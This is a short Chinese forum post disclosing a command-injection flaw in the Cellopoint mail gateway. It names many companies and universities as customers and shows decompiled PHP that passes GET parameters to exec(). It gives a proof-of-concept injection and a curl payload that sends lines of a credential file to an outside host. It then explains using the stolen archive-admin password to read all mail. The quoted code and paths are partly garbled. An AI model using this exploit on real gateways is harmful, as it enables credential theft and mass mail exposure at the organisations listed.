链滴

cellopoint 邮件网关任意命令执行漏洞

作者：nanolikeyou
原文链接：https://ld246.com/article/1504862642934
来源网站：链滴

使用http://cn.bing.com/search?q=cellopoint+reporter&go=Search&qs=ds&ajf=60&first=52FORM=PORE可以查看到诸多使用cellopoint邮件网关的大型企业。客户包括：国美集团东软集团松电器有限公司清华大学上海交通大学逢甲大学VIP ABC仁宝计算机股份有限公司富士康国际控股有限司上海机场(集团)有限公司丰田汽车（中国）投资有限公司广州滚石移动网络有限公司麦网电子商务(海)有限公司快特电波科技有限公司东方花旗证券有限公司金元证券股份有限公司华鑫证券责任有限公湘财证券有限责任公司中海基金管理有限公司天平汽车保险股份有限公司。

zend解密后检视发现reporter目录下的gw_x_vrfy_n_test.php文件存在一处命令执行：

```
email = GET["email"];
vrfy = _GET["vrfy"];
file = (isset(_GET["file"]) ? _GET["file"] : ini_default);
$debugFile = "/tmp/vrfy-test.err";
cmd = GLOBALS["TopFileRoot"] . "smtpd/celloauth -v " . . " -n vrfy -d 2> debugFile";
exec(cmd, output, $ret);
lines = @file(debugFile);
```

URL内构造POC:;vrfy=;$cmd;的方式可以利用该漏洞执行命令（nobody权限）。排查发现/usr/local mozart/smtpd/default.ini文件保存各项邮件管理员、ldap等账户密码信息。构造以下sed命令（通过ed命令读取目标文件单行内容）：

;curl%20-k%20https://cloudeye.me/?info=$(sed%20-n%20§3§p%20/usr/local/mozart/smtpd/efault.ini);,

通过查阅远端服务器（例如cloudeye.me）的web日志信息，回显获取到default.ini文件内容，得到件归档管理员口令，访问$ip/report/login.php登陆查阅全部邮件内容。